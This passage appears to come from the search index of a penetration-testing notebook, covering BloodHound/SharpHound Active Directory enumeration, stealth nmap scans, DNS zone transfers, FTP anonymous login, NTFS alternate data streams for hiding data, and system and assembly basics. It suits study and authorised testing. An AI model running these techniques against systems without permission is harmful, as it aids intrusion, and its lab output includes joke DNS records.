Information"},"224":{"body":"https://book.hacktricks.xyz/windows/basic-powershell-for-pentesters/powerview","breadcrumbs":"Post Exploitation ยป Active Directory (AD) ยป Domain Enumeration with PowerView ยป Additional Resources","id":"224","title":"Additional Resources"},"225":{"body":"Bloodhound is a tool used for finding relationships and patterns within data from an Active Directory environment. It is run on the attacker's machine and accessed through a web interface. Bloodhound operates on data and this data comes from a collector which is executed on the target machine.","breadcrumbs":"Post Exploitation ยป Active Directory (AD) ยป Domain Data Enumeration with Bloodhound ยป Overview","id":"225","title":"Overview"},"226":{"body":"Install Bloodhound sudo apt install bloodhound Configure neo4j - Bloodhound relies on a different tool called neo4j. It is best to change its default credentials. run neo4j sudo neo4j console open the link it gives you and use the credentials neo4j:neo4j to login change the password","breadcrumbs":"Post Exploitation ยป Active Directory (AD) ยป Domain Data Enumeration with Bloodhound ยป Setup","id":"226","title":"Setup"},"227":{"body":"Data is obtained through a collector. There are different ones available. You can get SharpHound from the Bloodhound GitHub repo - https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.ps1. Start neo4j and bloodhound: sudo neo4j console sudo bloodhound Run the collector on the target machine: powershell -ep bypass . .\\SharpHound.ps1 Invoke-BloodHound -CollectionMethod All -Domain -ZipFileName Now, move the files to the attacker machine.","breadcrumbs":"Post Exploitation ยป Active Directory (AD) ยป Domain Data Enumeration with Bloodhound ยป Collecting Data for Bloodhound","id":"227","title":"Collecting Data for Bloodhound"},"228":{"body":"In Bloodhound, on the right you should see a button for Upload Data. Select the previously obtained zip file and wait for Bloodhound to process it. In the top left, click on the three dashes and you should see a summary of the data imported:","breadcrumbs":"Post Exploitation ยป Active Directory (AD) ยป Domain Data Enumeration with Bloodhound ยป Viewing the Data","id":"228","title":"Viewing the Data"},"229":{"body":"Through the analysis tab, you can see a bunch of pre-made queries. Their names are usually self-describing. Clicking on any of them will generate a particular graph expressing a specific relationship within the AD environment: You are also able to create custom queries.","breadcrumbs":"Post Exploitation ยป Active Directory (AD) ยป Domain Data Enumeration with Bloodhound ยป Finding Relationships in the Data","id":"229","title":"Finding Relationships in the Data"},"23":{"body":"Doesn't set any flags. Since null scanning does not set any set flags, it can sometimes penetrate firewalls and edge routers that filter incoming packets with certain flags. It is invoked with the -sN option:","breadcrumbs":"Reconnaissance ยป Enumeration ยป nmap ยป FIN, NULL & XMAS Scans ยป Null Scan","id":"23","title":"Null Scan"},"230":{"body":"","breadcrumbs":"System Internals","id":"230","title":"System Internals"},"231":{"body":"","breadcrumbs":"System Internals ยป Linux","id":"231","title":"System Internals"},"232":{"body":"","breadcrumbs":"System Internals ยป Linux ยป Processes ยป User ID","id":"232","title":"User ID"},"233":{"body":"Linux uses a unified file system which begins at the / directory (pronounced \"root\", notwithstanding this unfortunate naming). Directory Description / The anchor of the file system. Pronounced \"root\". /root The home directory of the root user. /home The home directories of non-root users are stored here. /usr All system files are stored here - the U nix S ystem R esource. /etc Stores configuration files. /var Stores variable data files such as logs, caches, etc. /opt Any additional software which is not built-in should be installed here. /tmp Temporary data storage. Its contents are erased at every boot or at a certain period. /proc Runtime process information.","breadcrumbs":"System Internals ยป Linux ยป File System ยป Unified File System","id":"233","title":"Unified File System"},"234":{"body":"A symbolic, or soft , link is a reference in the file system to a particular file. When the symbolic link is used in a command, the file which it references will be used instead. Symbolic links between files (or directories for that matter) can be created by using the following command: ln -s It is important to note that when using relative paths for the link, the path is relative to the link (even after it is moved) and not the current working directory. Essentially, when creating a link with a relative path, the link points to ./file. However, if the link is moved, then ./ will refer to a different directory and the link won't be able to find what it is referencing.","breadcrumbs":"System Internals ยป Linux ยป File System ยป Symbolic Links","id":"234","title":"Symbolic Links"},"235":{"body":"Hard links are different from the symbolic links in the sense that they do not have any relationship to the original path where they link to, but only to its contents. They are just files which reference the same data as another file. Hard links are created by using the following syntax: ln Because hard links bear no connection to the path they were created with, they will still point to the same data even after they are relocated.","breadcrumbs":"System Internals ยป Linux ยป File System ยป Hard Links","id":"235","title":"Hard Links"},"236":{"body":"Every file and directory in Linux is owned by a certain user and a group and is assigned three sets of permissions - owner, group, and all users. The owner permissions describe what the user owning the file can do with it, the group permissions describe what members of the group owning the file can do with it, and the all users permissions describe what the rest of the non-root (root is allowed everything) users which are not members of the file's group can do with it. There are 3 possible type of permissions - read (r), write (x) and execute (x). Regarding the file shown here, the permissions are shown on the left and are represented by every 3 characters after the initial dash (-). So, here the file's owner (cr0mll) has rwx permissions on it. Every member of the sysint group will have rw permissions on the file and all other users will only be able to read it.","breadcrumbs":"System Internals ยป Linux ยป File System ยป Permissions","id":"236","title":"Permissions"},"237":{"body":"The Set Owner User ID (SUID) is a special permission which can be set on executable files. When a file with SUID set is executed, it will always run with the effective UID of the user who owns it, irrespective of which user actually passed the command (so long as the user invoking the command also has execute permissions on the file). The SUID permission is indicated by replacing the x in the permissions of the owning user with s. Setting SUID on a file can be done with the following command: chmod u+s Note The SUID permission on scripts is ignored.","breadcrumbs":"System Internals ยป Linux ยป File System ยป Set Owner User ID (SUID)","id":"237","title":"Set Owner User ID (SUID)"},"238":{"body":"Similarly to SUID, the Set Group ID (SGID) is a special permission which can be set on both executable files and directories. When set on files, it behaves in the same way SUID but rather than the files executing with the privileges of the owning user, they execute with the effective GID the owning group. When set on a directory, any file created within that directory will automatically have their group ownership set to one specified by the folder. Setting SGID on a file can be done with the following command: chmod g+s Note The SGID permission on scripts is ignored.","breadcrumbs":"System Internals ยป Linux ยป File System ยป Set Group ID (SGID)","id":"238","title":"Set Group ID (SGID)"},"239":{"body":"The sticky bit is a special permission which can be applied to directories in order to limit file deletion within them to the owners of the files. It is denoted by a t in the place of the x permission for the directory and can be set with the following command: chmod +t ","breadcrumbs":"System Internals ยป Linux ยป File System ยป Sticky Bit","id":"239","title":"Sticky Bit"},"24":{"body":"Sets just the FIN bit to on. It is invoked with -sF:","breadcrumbs":"Reconnaissance ยป Enumeration ยป nmap ยป FIN, NULL & XMAS Scans ยป FIN Scan","id":"24","title":"FIN Scan"},"240":{"body":"The command line, is a text-based interface which allows for interaction with the computer and execution of commands. The actual command interpreter which carries out the commands is referred to as the shell and there are multiple examples of shells such as bash, zsh, sh, etc.","breadcrumbs":"System Internals ยป Linux ยป Command Line ยป Introduction","id":"240","title":"Introduction"},"241":{"body":"It is possible to redirect input and output from and to files when invoking commands: Redirection Description < in_file Redirect in_file into the command's standard input. > out_file Redirect the command's standard output into out_file by overwriting it. >> out_file Redirect the command's standard output into out_file by appending to it. > err_file Redirect the command's standard error into err_file by overwriting it. >> err_file Redirect the command's standard error into err_file by appending to it.","breadcrumbs":"System Internals ยป Linux ยป Command Line ยป Input and Output Redirection","id":"241","title":"Input and Output Redirection"},"242":{"body":"Moreover, information may be redirected directly from one command to another by using unnamed pipes (|).","breadcrumbs":"System Internals ยป Linux ยป Command Line ยป Pipes","id":"242","title":"Pipes"},"243":{"body":"","breadcrumbs":"System Internals ยป Windows","id":"243","title":"System Internals"},"244":{"body":"Active Directory (AD) is a directory service for Windows network environments. It allows an organisation to store directory data and make it available to the users in a given network. AD has a distributed hierarchical structure that allows for the management of an organisation's resources such as users, computers, groups, network devices, file shares, group policies, servers, workstations and trusts. Furthermore, it provides authentication and authorization functionality to Windows domain environments. Essentially, AD is a large database of information which is accessible to all users within a domain, irrespective of their privilege level. This means that a standard user account can be used to enumerate a large portion of all AD components.","breadcrumbs":"System Internals ยป Windows ยป Active Directory (AD) ยป Introduction","id":"244","title":"Introduction"},"245":{"body":"Resources in Active Directory are represented by objects. An object is any resource present within Active Directory such as OUs, printers, users, domain controllers, etc. Every object has a set of characteristic attributes which describe it. For example, a computer object has attributes such as hostname and DNS name. Additionally, all AD attributes are associated with an LDAP name which can be used when performing LDAP queries. Every object carries information in these attributes, some of which are mandatory and some optional. Objects can be instantiated with a predefined set of attributes from a class in order to make the process of object creation easier. For example, the computer object PC1 will be an instance of the computer class in Active Directory. It is common for objects to contain other objects, in which case they are called containers . An object holding no other objects is known as a leaf .","breadcrumbs":"System Internals ยป Windows ยป Active Directory (AD) ยป Objects","id":"245","title":"Objects"},"246":{"body":"Objects are organised in logical groups called domains . These can further have nested subdomains in them and can either operate independently or be linked to other domains via trust relationships. A root domain together with all of its subdomains and nested objects is known as a tree . A collection of trees is referred to as a forest (really???). It is the root container for all objects in a given AD environment. Following is an example forest with a single tree: COMPANY.LOCAL/\nโ”œโ”€ ADMIN.COMPANY.LOCAL\nโ”‚ โ”œโ”€ GPOs\nโ”‚ โ”œโ”€ OUs\nโ”‚ โ”‚ โ”œโ”€ EMPLOYEES\nโ”‚ โ”‚ โ”‚ โ”œโ”€ COMPUTERS\nโ”‚ โ”‚ โ”‚ โ”‚ โ”œโ”€ PC1\nโ”‚ โ”‚ โ”‚ โ”œโ”€ USERS\nโ”‚ โ”‚ โ”‚ โ”‚ โ”œโ”€ jdoe\nโ”‚ โ”‚ โ”‚ โ”œโ”€ GROUPS\nโ”‚ โ”‚ โ”‚ โ”‚ โ”œโ”€ STAFF\nโ”œโ”€ DEV.COMPANY.LOCAL\nโ”œโ”€ MAIL.COMPANY.LOCAL","breadcrumbs":"System Internals ยป Windows ยป Active Directory (AD) ยป Object Organisation","id":"246","title":"Object Organisation"},"247":{"body":"The full path to an object in AD is specified via a Distinguished Name (DN) . A Relative Distinguished Name (RDN) is a single component of the DN that separates the object from other objects at the current level in the naming hierarchy. RDNs are represented as attribute-value pairs in the form attribute=value, typically expressed in UTF-8. A DN is simply a comma-separated list of RDNs which begins with the top-most hierarchical layer and becomes more specific as you go to the right. For example, the DN for the John Doe user would be dc=local,dc=company,dc=admin,ou=employees,ou=users,cn=jdoe. The following attribute names for RDNs are defined: LDAP Name Attribute DC domainComponent CN commonName OU organizationalUnitName O organizationName STREET streetAddress L localityName ST stateOrProvinceName C countryName UID userid It is also important to note that the following characters are special and need to be escaped by a \\ if they appear in the attribute value: Character Description space or # at the beginning of a string space at the end of a string , comma + plus sign \" double quotes \\ backslash / forwards slash < left angle bracket > right angle bracket ; semicolon LF line feed CR carriage return = equals sign","breadcrumbs":"System Internals ยป Windows ยป Active Directory (AD) ยป Distinguished Name (DN) & Relative Distinguished Name (RDN)","id":"247","title":"Distinguished Name (DN) & Relative Distinguished Name (RDN)"},"248":{"body":"Trusts in Active Directory allow for forest-forest or domain-domain links. They allow users in one domain to access resources in another domain where their account does not reside. The way they work is by linking the authentication systems between two domains. The two parties in a trust do not necessarily have the same capabilities with respect to each other: One-way trusts allow only one party to access the resources of the other. The trusted domain is considered the one accessing the resources and the trusting domain is the one providing them. Two-way trusts allow the parties to mutually access each other's resources. Additionally, trusts can either be transitive or non-transitive. Transitivity means that the trust relationship is propagated upwards through a domain tree as it is formed. For example, a transitive two-way trust is established between a new domain and its parent domain upon creation. Any children of the new domain (grandchildren of the parent domain) will also then share a trust relationship with the master parent. Five possible types of trusts can be discerned depending on the relationships between the systems being linked: Trust Description Parent-child A two-way transitive relationship between a parent and a child domain. Cross-link A trust between two child domains at the same hierarchical level, which is used to speed up authentication. External A non-transitive trust between two separate domains in separate forests which are not already linked by a forest trust. Tree-root A two-way transitive trust between a forest root domain and a new tree root domain. Forest A transitive trust between two forest root domains in separate forests.","breadcrumbs":"System Internals ยป Windows ยป Active Directory (AD) ยป Trusts","id":"248","title":"Trusts"},"249":{"body":"A contact in AD contains information about an external person or company that may need to be contacted on a regular basis. Contact objects are instances of the Contact class and are considered leaf objects. Their attributes include first name, last name, email address, telephone number, etc. Contacts are not security principals - they lack a SID and only have a GUID.","breadcrumbs":"System Internals ยป Windows ยป Active Directory (AD) ยป Contacts ยป Introduction","id":"249","title":"Introduction"},"25":{"body":"Sets the FIN, PSH, and URG flags, lighting the packet up like a Christmas tree. It is performed through the -sX option:","breadcrumbs":"Reconnaissance ยป Enumeration ยป nmap ยป FIN, NULL & XMAS Scans ยป Xmas Scan","id":"25","title":"Xmas Scan"},"250":{"body":"Security Principal - any object which can be authenticated by the operating system, such as user or computer accounts, or a thread/process running in the security context of a user or computer account, or the security groups for these accounts. Security Identifier (SID) - a unique identifier which identifies a security principal/group. Every security principal has its own unique SID, which is issued by the domain controller and stored in a security database.","breadcrumbs":"System Internals ยป Windows ยป Active Directory (AD) ยป Terminology","id":"250","title":"System Internals"},"251":{"body":"A user in AD stores information about an employee or contractor who works for the organisation. These objects are instances of the User class . User objects are leaf objects, since they do not contain any other objects. Every user is considered a security principal and has its own SID and GUID. Additionally, user objects can have numerous different attributes such as display name, email address, last login time, etc - well in excess of 800.","breadcrumbs":"System Internals ยป Windows ยป Active Directory (AD) ยป Users ยป Introduction","id":"251","title":"Introduction"},"252":{"body":"Domain Users in AD are the ones who are capable of accessing resources in the Active Directory environment. These users can log into any host on the network. All domain users have 5 essential naming attributes as well as many others: Attribute Description UserPrincipalName (UPN) The primary logon name for the user, which uses the user's email by convention. ObjectGUID A unique identifier for the user which is never changed even after removal of the user. SAMAccountName A logon name providing support for previous versions of Windows. objectSID The user's security identifier (SID) which identifies the user and their group memberships. sIDHistory A history of the user's SIDs which keeps track of the SIDs for the user when they migrate from one domain to another.","breadcrumbs":"System Internals ยป Windows ยป Active Directory (AD) ยป Users ยป Domain Users","id":"252","title":"Domain Users"},"253":{"body":"Groups are instances of the AD Group class. They provide the means to mass assign permissions to users, making administration a lot easier. The administrator assigns a set of privileges to the group and they will be inherited by any user who joins it. Groups have two essential characteristics - type and scope.","breadcrumbs":"System Internals ยป Windows ยป Active Directory (AD) ยป Groups ยป Introduction","id":"253","title":"Introduction"},"254":{"body":"The group type identifies the group's purpose and must be chosen upon creation of the group. There are two types of groups. Security groups are best suited precisely for the purpose described above - mass assignment of permissions to users. Distributions groups are a bit different - they are unable to assign any permissions and are really only used by email applications for the distribution of messages to their members. They resemble mailing lists and can be auto-filled in the recipient field when sending emails using Microsoft Outlook.","breadcrumbs":"System Internals ยป Windows ยป Active Directory (AD) ยป Groups ยป Group Type","id":"254","title":"Group Type"},"255":{"body":"There are three possible group scopes and once again must be selected upon creation of the group. The group scope determines the level of permissions that can be assigned via the group. Domain Local groups can only be used to manage permissions only regarding resources within the domain that the group belongs to. Whilst such groups cannot be used in other domains, they can contain users from other domains. Additionally, nesting of domain local groups is allowed within other domain local groups but not within global ones. Global groups allow access to resources in a different domain from the one they belong to, although they may only contain users from their origin domain. Nesting of global groups is allowed both in other global groups and local groups. Universal groups allow permissions management across all domains within the same forest. They are stored in the Global Catalog and any change made directly to them triggers forest-wide replication. To avoid unnecessary replications, administrators are advised to keep users and computers in global groups which are themselves stored in universal groups. It is also possible to change the scope of a group under certain conditions: A global group can be promoted to a universal group if it is not part of another global group. A domain local group can be promoted to a universal group if it does not contain any other domain local groups. A universal group can be demoted to a global group if it does not contain any other universal groups. A universal group can be freely demoted to a domain local group.","breadcrumbs":"System Internals ยป Windows ยป Active Directory (AD) ยป Groups ยป Group Scope","id":"255","title":"Group Scope"},"256":{"body":"Some built-in groups are automatically created when an AD environment is set up. These groups have specific purposes and cannot contain other groups - only users. Group Name Description Account Operators Management of most account types with the exception of the Administrator account, administrative user accounts, or members of the Administrators, Server Operators, Account Operators, Backup Operators, or Print Operators groups. Additionally, members can log in locally to domain controllers. Administrators Full access to a computer or an entire domain provided that they are in this group on a domain controller. Backup Operators Ability to back up or restore all files on a computer, irrespective of the permissions set on it; ability to log on and shut down the computer; ability to log on domain controllers locally; ability to make shadow copies of SAM/NTDS databases. DnsAdmins Access to DNS network information. Only created if the DNS server role is installed at some point on a domain controller. Domain Admins Full permissions to administer the domain; local administrators on every domain-joined machine. Domain Computers Stores all computers which are not domain controllers. Domain Controllers Stores all domain controllers in the domain. Domain Guests Includes the built-in Guest account. Domain Users Stores all users in the domain. Enterprise Admins Complete configuration access within the domain; ability to make forest-wide changes such as creating child domains and trusts; only exists in root domains. Event Log Readers Ability to read event logs on local computers. Group Policy Creator Owners Management of GPOs in the domain. Hyper-V Administrators Complete access to all Hyper-V features. IIS_IUSRS Used by IIS. Preโ€“Windows 2000 Compatible Access Provides backwards-compatibility with Windows NT 4.0 or earlier. Print Operators Printer management; ability to log on to DCs and load printer drivers. Protected Users Provides additional protection against attacks such as credential theft or Kerberoasting. Read-Only Domain Controllers Contains all read-only DCs in the domain. Remote Desktop Users Ability to connect to a host via RDP. Remote Management Users Schema Admins Ability to modify the AD schema. Server Operators Ability to modify services, SMB shares and backup files on domain controllers.","breadcrumbs":"System Internals ยป Windows ยป Active Directory (AD) ยป Groups ยป Default Groups","id":"256","title":"Default Groups"},"257":{"body":"Domain Controllers (DCs) are at the heart of Active Directory. There are Flexible Single Master Operation (FSMO) roles which can be assigned separately to domain controllers in order to avoid conflicts when data is update in the AD environment. These roles are the following: Role Description Schema Master Management of the AD schema. Domain Naming Master Management of domain names - ensures that no two domains in the same forest share the same name. Relative ID (RID) Master Assignment of RIDs to other DCs within the domain, which helps to ensure that no two objects share the same SID. PDC Emulator The authoritative DC in the domain - responds to authentication requests, password changes, and manages Group Policy Objects (GPOs). Additionally, it keeps track of time within the domain. Infrastructure Master Translation of GUIDs, SIDs, and DNs between domains in the same forest.","breadcrumbs":"System Internals ยป Windows ยป Active Directory (AD) ยป Domain Controllers ยป Introduction","id":"257","title":"Introduction"},"258":{"body":"A computer object is an instance of the Computer class in Active Directory and represents a workstation or server connected to the AD network. Computer objects are security principals and therefore have both a SID and GUID. These are prime targets for adversaries, since full administrative access to a computer (NT AUTHORITY\\SYSTEM) grants privileges similar to those of a standard domain user and can be used to enumerate the AD environment.","breadcrumbs":"System Internals ยป Windows ยป Active Directory (AD) ยป Computers ยป Introduction","id":"258","title":"Introduction"},"259":{"body":"Windows uses the New Technology File System (NTFS) for managing its files and folders. What makes it special is its ability to automatically repair files and folders on disk using log files in case of a failure. Additionally, it lifts certain limitations which were characteristic of its predecessors by supporting files larger than 4GB, being able to set permissions on specific files and folders and being able to avail itself of both compression and encryption. Another peculiar feature of NTFS are Alternate Data Streams .","breadcrumbs":"System Internals ยป Windows ยป File System ยป Introduction","id":"259","title":"Introduction"},"26":{"body":"The BIND software is the most commonly used name server software, which supports CHAOSNET queries. This can be used to query the name server for its software type and version. We are no longer querying the domain name system but are instead requesting information about the BIND instance. Our queries will still take the form of domain names - using .bind as the top-level domain. The results from such a query are returned as TXT records. Use the following syntax for quering BIND with the CHAOS class: dig @ โ”Œโ”€โ”€(cr0mll@kali)-[~]-[]\nโ””โ”€$ dig @192.168.129.138 chaos version.bind txt ; <<>> DiG 9.16.15-Debian <<>> @192.168.129.138 chaos version.bind txt\n; (1 server found)\n;; global options: +cmd\n;; Got answer:\n;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 38138\n;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1\n;; WARNING: recursion requested but not available ;; OPT PSEUDOSECTION:\n; EDNS: version: 0, flags:; udp: 4096\n;; QUESTION SECTION:\n;version.bind. CH TXT ;; ANSWER SECTION:\nversion.bind. 0 CH TXT \"9.8.1\" ;; AUTHORITY SECTION:\nversion.bind. 0 CH NS version.bind. ;; Query time: 0 msec\n;; SERVER: 192.168.129.138#53(192.168.129.138)\n;; WHEN: Tue Sep 14 16:24:35 EEST 2021\n;; MSG SIZE rcvd: 73 Looking at the answer section, we see that this name server is running BIND 9.8.1. Other chaos records you can request are hostname.bind, authors.bind, and server-id.bind.","breadcrumbs":"Reconnaissance ยป Enumeration ยป DNS Server Enumeration (53) ยป Enumerating BIND servers with CHAOS","id":"26","title":"Enumerating BIND servers with CHAOS"},"260":{"body":"NTFS allows for every user/group to have its own set of permissions on every file and folder in the file system tree. The following six types of permissions can be set: Permission On Files On Folders Read View or access the file's contents. View and list files and subfolders. Write Write to the file. Add files or subfolders. Read & Execute View or access the file's contents as well as execute the file. View and list files and subfolders as well as execute files. Inherited by both files and folders. List Folder Contents N/A View and list files and subfolders as well as execute files. Inherited only by folders. Modify Read and write to the file, or delete it. Read and write to files and subfolders, or delete the folder. Full Control Read, write, change or delete the file. Read, write, change or delete files and subfolders.","breadcrumbs":"System Internals ยป Windows ยป File System ยป Permissions","id":"260","title":"Permissions"},"261":{"body":"Permissions can be inspected from the command line by running icacls The last set of () for each user/group tell you the permissions: F - Full Control M - Modify RX - Read & Execute R - Read W - Write Additionally, the permissions on a file/folder can be inspected by right-clicking on the item in Windows Explorer, following Properties->Security and then selecting the user/group you want to see the permissions for.","breadcrumbs":"System Internals ยป Windows ยป File System ยป Inspecting Permissions","id":"261","title":"Inspecting Permissions"},"262":{"body":"A not very well-known, yet interesting feature of NTFS are the so-called Alternate Data Streams. These were implemented for better Macintosh file support, but they can lead to security vulnerabilities and ways to hide data. A data stream can be thought of as a file within another file. Each stream has its own allocated disk space, size and file locks. Moreover, alternate data streams are invisible to Windows Explorer which makes them an easy way to hide data within legitimately looking files. Every file in NTFS has at least one default data stream where its data is stored. The default data stream is innominate and any stream which does have a name is considered an alternate data stream.","breadcrumbs":"System Internals ยป Windows ยป File System ยป Alternate Data Streams (ADS)","id":"262","title":"Alternate Data Streams (ADS)"},"263":{"body":"ADSs cannot be manipulated via Windows Explorer and so the command-line is needed. File operations with alternate data streams on the command-line work the same, but you will need to use the : format to refer to the stream you want to manipulate. For example, echo hello > file.txt\necho secret > file.txt:hidden Windows Explorer is completely oblivious to the alternate data stream. The command-line, however, is not: Additionally, the dir /R command can be used to list alternate data streams for files in a directory: A more sophisticated tool for managing ADSs, called Streams comes with the SysInternals suite. It can be used with the -s option to recursively show all streams for the files in a directory: The number next to the stream name is the size of the data stored in the stream. Streams can also be used to delete all streams from a file with the -d option:","breadcrumbs":"System Internals ยป Windows ยป File System ยป Working with ADSs","id":"263","title":"Working with ADSs"},"264":{"body":"","breadcrumbs":"Reverse Engineering ยป Reverse Engineering","id":"264","title":"Reverse Engineering"},"265":{"body":"","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป Program Anatomy","id":"265","title":"Program Anatomy"},"266":{"body":"The stack is a place in memory. It's a Last-In-First-Out (LIFO) data structure, meaning that the last element to be added will be the first to get removed. Each process has access to its own stack which isn't bigger than a few megabytes. Adding data to the stack is called pushing onto the stack, whilst removing data is called popping off the stack. Although the location of the added or removed data is fixed (it's always to or from the top of the stack), existing data can still be read or written to arbitrarily. A special register is used for keeping track of the top of the stack - the stack pointer or rsp. When pushing data, the stack pointer diminishes , and when removing data, the stack pointer augments . This is because the stack grows from higher to lower memory addresses.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Stack ยป The Stack","id":"266","title":"The Stack"},"267":{"body":"When a function is invoked, a stack frame is constructed. First, the function's arguments which do not fit into the registers are pushed on the stack, then the return address is also pushed. Following this, the value of a special register known as the base pointer (rbp) is saved onto the stack and the value inside the register is then updated to point to the location on the stack where we saved the base pointer. From then on, the stack pointer is used for allocating local data inside the function and the base pointer is used for accessing this data. long func(long a, long b, long c, long d, long e, long f, long g, long h)\n{ long x = a * b * c * d * e * f * g * h; long y = a + b + c + d + e + f + g + h; long z = otherFunc(x, y); return z + 20;\n} Sometimes, the base pointer might be completely absent in optimised programs because compilers are good enough in keeping track of offsets directly from the stack pointer.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Stack ยป Stack Frames","id":"267","title":"Stack Frames"},"268":{"body":"Each program is comprised of a set of instructions which tell the CPU what operations it needs to perform. Different CPU architectures make use of different instruction sets, however, all of them boil down to two things - an opertation code (opcode) and optional data that the instruction operates with. These are all represented using bits - 1s and 0s.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป Instructions ยป Instructions","id":"268","title":"Instructions"},"269":{"body":"Moves the value inside one register to another: mov rax, rdx","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป Instructions ยป mov","id":"269","title":"mov"},"27":{"body":"A Zone transfer request provides the means for copying a DNS zone file from one name server to another. This, however, only works over TCP. By doing this, you can obtain all the records of a DNS server for a particular zone. This is done through the AXFR request type: dig @ AXFR โ”Œโ”€โ”€(cr0mll0@kali)-[~]-[]\nโ””โ”€$ dig @192.168.129.138 AXFR nsa.gov ; <<>> DiG 9.16.15-Debian <<>> @192.168.129.138 AXFR nsa.gov\n; (1 server found)\n;; global options: +cmd\nnsa.gov. 3600 IN SOA ns1.nsa.gov. root.nsa.gov. 2007010401 3600 600 86400 600\nnsa.gov. 3600 IN NS ns1.nsa.gov.\nnsa.gov. 3600 IN NS ns2.nsa.gov.\nnsa.gov. 3600 IN MX 10 mail1.nsa.gov.\nnsa.gov. 3600 IN MX 20 mail2.nsa.gov.\nfedora.nsa.gov. 3600 IN TXT \"The black sparrow password\"\nfedora.nsa.gov. 3600 IN AAAA fd7f:bad6:99f2::1337\nfedora.nsa.gov. 3600 IN A 10.1.0.80\nfirewall.nsa.gov. 3600 IN A 10.1.0.105\nfw.nsa.gov. 3600 IN A 10.1.0.102\nmail1.nsa.gov. 3600 IN TXT \"v=spf1 a mx ip4:10.1.0.25 ~all\"\nmail1.nsa.gov. 3600 IN A 10.1.0.25\nmail2.nsa.gov. 3600 IN TXT \"v=spf1 a mx ip4:10.1.0.26 ~all\"\nmail2.nsa.gov. 3600 IN A 10.1.0.26\nns1.nsa.gov. 3600 IN A 10.1.0.50\nns2.nsa.gov. 3600 IN A 10.1.0.51\nprism.nsa.gov. 3600 IN A 172.16.40.1\nprism6.nsa.gov. 3600 IN AAAA ::1\nsigint.nsa.gov. 3600 IN A 10.1.0.101\nsnowden.nsa.gov. 3600 IN A 172.16.40.1\nvpn.nsa.gov. 3600 IN A 10.1.0.103\nweb.nsa.gov. 3600 IN CNAME fedora.nsa.gov.\nwebmail.nsa.gov. 3600 IN A 10.1.0.104\nwww.nsa.gov. 3600 IN CNAME fedora.nsa.gov.\nxkeyscore.nsa.gov. 3600 IN TXT \"knock twice to enter\"\nxkeyscore.nsa.gov. 3600 IN A 10.1.0.100\nnsa.gov. 3600 IN SOA ns1.nsa.gov. root.nsa.gov. 2007010401 3600 600 86400 600\n;; Query time: 4 msec\n;; SERVER: 192.168.129.138#53(192.168.129.138)\n;; WHEN: Fri Sep 17 22:38:47 EEST 2021\n;; XFR size: 27 records (messages 1, bytes 709)","breadcrumbs":"Reconnaissance ยป Enumeration ยป DNS Server Enumeration (53) ยป DNS Zone Transfer","id":"27","title":"DNS Zone Transfer"},"270":{"body":"Load effective address - this instruction calculates the address of its second operand and moves it into its first operand: lea rdx, [rax+0x10] This will move rax+0x10 inside rdx.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป Instructions ยป lea","id":"270","title":"lea"},"271":{"body":"This instruction adds its operands and stores the result in its first operand: add rax, rdx","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป Instructions ยป add","id":"271","title":"add"},"272":{"body":"This instruction subtracts the second operand from the first and stores the result in its first operand sub rax, 0x9","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป Instructions ยป sub","id":"272","title":"sub"},"273":{"body":"It performs XOR-ing on its operands and stores the results into the first operand: xor rdx, rax The and and or are the same, but instead perform a binary AND and a binary OR operation, respectively.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป Instructions ยป xor","id":"273","title":"xor"},"274":{"body":"Decreases the stack pointer (grows the stack) by 8 (4 on x86) bytes and stores the contents of its operand on the stack: push rax","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป Instructions ยป push","id":"274","title":"push"},"275":{"body":"Increases the stack pointer (shrinks the stack) by 8 (4 on x86) bytes and stores the popped value from the stack into its operand: pop rax","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป Instructions ยป pop","id":"275","title":"pop"},"276":{"body":"Jumps to the address specified - used for redirecting code execution: jmp 0x6A2B10","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป Instructions ยป jmp","id":"276","title":"jmp"},"277":{"body":"Used for invoking procedures. It first pushes the values of the base and stack pointers onto the stack and then jumps to the specified address. After the function is finished, a ret instruction is issued which restores the values of the stack and base pointers from the stack and continues execution from where it left off.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป Instructions ยป call","id":"277","title":"call"},"278":{"body":"It compares the value of its two operands and sets the according flags depending on the result: cmp rax, rdx If rax < rdx, the zero flag is set to 0 and the carry flag is set to 1. If rax > rdx, the zero flag is set to 0 and the carry flag is set to 0. If rax = rdx, the zero flag is set to 1 and the carry flag is set to 0.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป Instructions ยป cmp","id":"278","title":"cmp"},"279":{"body":"jump-if-zero and jump-if-not-zero execute depending on the state of the zero flag.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป Instructions ยป jz / jnz","id":"279","title":"jz / jnz"},"28":{"body":"The File Transfer Protocol (FTP) is a common protocol which you may find during a penetration test. It is a TCP-based protocol and runs on port 21. Luckily, its enumeration is simple and rather straight-forward. You can use the ftp command if you have credentials: ftp You can then proceed with typical navigation commands like dir, cd, pwd, get and send to navigate and interact with the remote file system. If you don't have credentials you can try with the usernames guest, anonymous, or ftp and an empty password in order to test for anonymous login.","breadcrumbs":"Reconnaissance ยป Enumeration ยป FTP Enumeration (21) ยป Introduction","id":"28","title":"Introduction"},"280":{"body":"The heap is a memory region which allows for dynamic allocation. Memory on the heap is allotted at runtime and programs are permitted to freely request additional heap memory whenever it is required. It is the program's job to request and relieve any heap memory only once . Failure to do so can result in undefined behaviour. In C, heap memory is usually allocated through the use of malloc and whenever the program is finished with this data, the free function must be invoked in order to mark the area as available for use by the operating system and/or other programs. Heap memory can also be allocated by using malloc-compatible heap functions like calloc, realloc and memalign or in C++ using the corresponding new and new[] operators as well as their deallocation counterparts delete and delete[].","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป The Heap","id":"280","title":"The Heap"},"281":{"body":"Do not read or write to a pointer returned by malloc after that pointer 